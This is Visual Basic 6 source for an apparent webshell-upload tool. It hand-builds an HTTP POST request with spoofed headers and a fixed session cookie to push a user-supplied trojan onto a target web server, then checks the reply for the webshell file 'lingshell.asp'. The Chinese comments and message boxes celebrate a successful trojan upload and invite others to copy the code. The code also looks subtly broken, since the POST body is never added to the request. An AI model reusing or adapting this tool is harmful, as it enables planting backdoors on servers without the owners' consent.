Private Sub Command1_Click()
Winsock1.RemotePort = Text3.Text
Winsock1.RemoteHost = Text2.Text
Winsock1.Connect
Command1.Enabled = False
Me.Timer2.Enabled = True
End Sub
Private Sub Timer2_Timer()
If InStr(Text6.Text, "lingshell.asp") Then
Me.Timer2.Enabled = False
MsgBox "上傳成功!! 木馬已經上傳到 http://" & Text2.Text & "" & Text4.Text & " 這個位置的目錄下.WebShell文件為 lingshell.asp", , "恭喜"
Else
Me.Timer2.Enabled = False
MsgBox "上傳失敗!", , "警告"
End If
End Sub
Private Sub winsock1_Connect()
’定義提交部分包頭和數據 精華所在
Dim PostPOST
Dim PostAccept
Dim PostReferer
Dim PostAcceptLanguage
Dim PostContentType
Dim PostAcceptEncoding
Dim PostUserAgent
Dim PostHost
Dim PostContentLength
Dim PostConnection
Dim PostCacheControl
Dim PostCookie
Dim PostDATA
Dim TopPostDATA
PostPOST = "POST " & Text4.Text & " HTTP/1.1"
PostAccept = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, application/x-shockwave-flash, */*"
PostReferer = "Referer: http://" & Text2.Text & "/"
PostAcceptLanguage = "Accept-Language: zh-cn"
PostContentType = "Content-Type: application/x-www-form-urlencoded"
PostAcceptEncoding = "Accept-Encoding: gzip, deflate"
PostUserAgent = "User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 9.1; linghao ; www.chinanethack.com)"
PostHost = "Host: " & Text2.Text & ""
PostContentLength = "Content-Length: 7044"
PostConnection = "Connection: Keep-Alive"
PostCacheControl = "Cache-Control: no-cache"
PostCookie = "Cookie: ASPSESSIONIDGGGGGSDQ=AMBLGJAACHFIJNEDMGGEHCHF"
PostDATA = Text1.Text
TopPostDATA = PostPOST _
& vbCrLf & PostAccept _
& vbCrLf & PostReferer _
& vbCrLf & PostAcceptLanguage _
& vbCrLf & PostContentType _
& vbCrLf & PostAcceptEncoding _
& vbCrLf & PostUserAgent _
& vbCrLf & PostHost _
& vbCrLf & PostContentLength _
& vbCrLf & PostConnection _
& vbCrLf & PostCacheControl _
& vbCrLf & PostCookie & vbCrLf _
Winsock1.SendData TopPostDATA
End Sub
Private Sub Command2_Click()
Winsock1.Close
Command1.Enabled = True
End Sub
Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
Dim HX As String
Winsock1.GetData HX
Text6.Text = HX
End Sub
Private Sub Form_Load()
MsgBox "版權www.chinanethack.com-零號所有 歡迎大家抄襲改進!"
End Sub
’這里要使用時間控件來判斷是因為返回有個時間間隔問題.而且如果你提交的字節數不規范服務器有可能不響應你.所以用時間判斷返回是比較合理的.代碼寫得不好`望見諒~ TopPostDATA = 你的木馬 使用POST
